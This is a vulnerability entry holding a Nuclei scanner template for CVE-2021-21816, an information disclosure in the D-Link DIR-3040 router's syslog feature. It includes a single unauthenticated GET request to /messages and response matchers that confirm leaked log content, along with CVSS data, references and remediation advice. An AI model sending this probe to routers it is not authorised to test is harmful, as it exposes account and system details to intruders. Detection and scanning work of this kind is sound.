D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2021-21816
info:
name: D-Link DIR-3040 1.13B03 - Information Disclosure
author: gy741
severity: medium
description: D-Link DIR-3040 1.13B03 is susceptible to information disclosure in the Syslog functionality. A specially crafted HTTP network request can lead to the disclosure of sensitive information. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to gain sensitive information from the router, potentially leading to further attacks.
remediation: |
Upgrade the router firmware to the latest version provided by D-Link.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1281
- https://nvd.nist.gov/vuln/detail/CVE-2021-21816
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2021-21816
cwe-id: CWE-200
epss-score: 0.79551
epss-percentile: 0.99056
cpe: cpe:2.3:o:dlink:dir-3040_firmware:1.13b03:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dlink
product: dir-3040_firmware
tags: cve2021,cve,dlink,exposure,router,syslog
http:
- method: GET
path:
- "{{BaseURL}}/messages"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "syslog:"
- "admin"
- "/etc_ro/lighttpd/www"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100d808b00162b24a87feb9d51ea3d2667385eb4f89226bb5644a5b4565957e23e40220699040e04e34f0a0f950aeabfc4e94afc4b1e9e46b9e19b81ab4f407a9cee267:922c64590222798bb761d5b6d8e72950